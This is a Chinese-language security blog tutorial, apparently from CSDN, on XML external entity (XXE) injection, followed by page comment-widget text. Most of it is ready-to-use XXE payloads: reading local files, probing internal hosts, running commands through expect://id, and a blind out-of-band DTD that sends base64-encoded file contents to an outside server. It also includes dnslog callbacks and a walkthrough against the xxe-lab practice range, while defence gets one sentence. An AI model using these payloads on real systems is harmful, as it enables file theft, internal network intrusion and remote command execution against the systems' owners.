XXE漏洞

一、介绍

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

二、XML与HMTL的区别

XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。

三、漏洞利用

1)读文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "file:///c:/11.txt" >
]>
<foo>&xxe;</foo>

在这里插入图片描述
该文件要真实存在

2)内网探针或攻击内网应用
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "http://192.168.116.124/index.txt" >
]>
<foo>&xxe;</foo>
3)RCE

该漏洞是在安装expect扩展的php环境里执行系统命令
id 为执行的命令

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
	<!ENTITY  xxe SYSTEM "expect://id" >
]>
<foo>&xxe;</foo>
4)引入外部实体dtd

主要用来绕过或实现自定义的一种攻击
evil.dtd 可以简单理解为xml的一个格式文件
evil.dtd

<!ENTITY send SYSTEM "file:///c:/11.txt">
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test [
	<!ENTITY  % file SYSTEM "http://192.168.116.124/evil.dtd" >
	%file;
]>
<foo>&send;</foo>

上面的代码就是将evil.dtd里的内容当作xml来执行

5)无回显读文件

test.dtd

<!ENTITY % payload
	"<ENTITY &#x25; send SYSTEM 'http://192.168.116.124/?data=%file;'>"
>

%payload;
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test [
	<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/test.txt" >
	<!ENTITY % dtd SYSTEM "http://192.168.116.124/test.dtd">
	%dtd;
	%send;
]>
6)无回显+dnslog.cn

访问dnslog.cn(http://dnslog.cn),生成一个域名

payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "http://pf7o7e.dnslog.cn" >
]>
<foo>&xxe;</foo>

7)伪协议-读文件(绕过)
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
	<!ENTITY  f SYSTEM "php://filter/read=convert.base64-encode/resource=c:/11.txt" >
]>

<x>&f;</x>
8)xxe-lab靶场登录框xml数据传输测试-检测发现

在这里插入图片描述

随意输入账号/密码,登录,抓包

在这里插入图片描述发送到爬虫模块,然后在历史包中输入xml关键字过滤
在这里插入图片描述
得到有漏洞的数据包
在这里插入图片描述构造payload

在这里插入图片描述
payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE Mikasa [
	<!ENTITY test SYSTEM "file:///c:/11.txt">
]>

<user><username>&test;</username><password>Mikasa</password></user>

四、防御

XML解析库在调用时严格禁止对外部实体的解析。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值